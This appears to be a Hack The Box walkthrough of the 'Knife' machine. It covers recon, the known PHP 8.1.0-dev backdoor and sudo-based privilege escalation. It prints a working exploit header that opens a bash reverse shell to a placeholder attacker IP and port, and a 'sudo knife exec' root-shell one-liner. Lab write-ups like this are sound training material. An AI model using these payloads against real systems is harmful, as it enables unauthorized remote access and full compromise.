Hey guys Styx here. Back after a break. It's time to get back at it.
This time I have a HTB walk-through of the Knife box. Let's get into it.
## RECON ##
Before we do anything Let's add the IP to our /etc/hosts file
Now let's kick off our recon.
Rustscan show's 2 ports open.
port 22 which is SSH and port 80 which is HTTP.
Well let's look at what technology is running on the server.
Using the Wappalyzer plugin, we see that this web app is running on PHP 8.1.0. Let's
Give it a quick google and we quickly find this exploit
HERE
Blog about this cool find over here -->HERE
| An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header. |
## Initial Foothold ##
Now that we have found a good lead. Let's try and gain our initial foothold.
If you've read the article and looked at the exploit over at exploit-db let's exploit this
backdoor by adding the following header to the GET request.
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/IP/PORT 0>&1'");
As you can see on the picture above. We are in!
Looking at our user
We see that we are James. Let's head over to his home directory to see if he has some useful info on his home directory.
And there's the User.txt!
## Privilege escalation ##
Let's perform some local enumeration to see if we can find a good privilege escalation vector in order to root this box.
One of the first things I do in this phase is to run the sudo -l command to see whether this user is allowed to use sudo.
well look at that!
We can run sudo /usr/bin/knife
After inspecting the knife binary we can gain a root shell by running:
sudo knife exec --exec "exec '/bin/sh -i' "
And we rooted the box!
Hope this walk through was useful to you. See you in the next one!
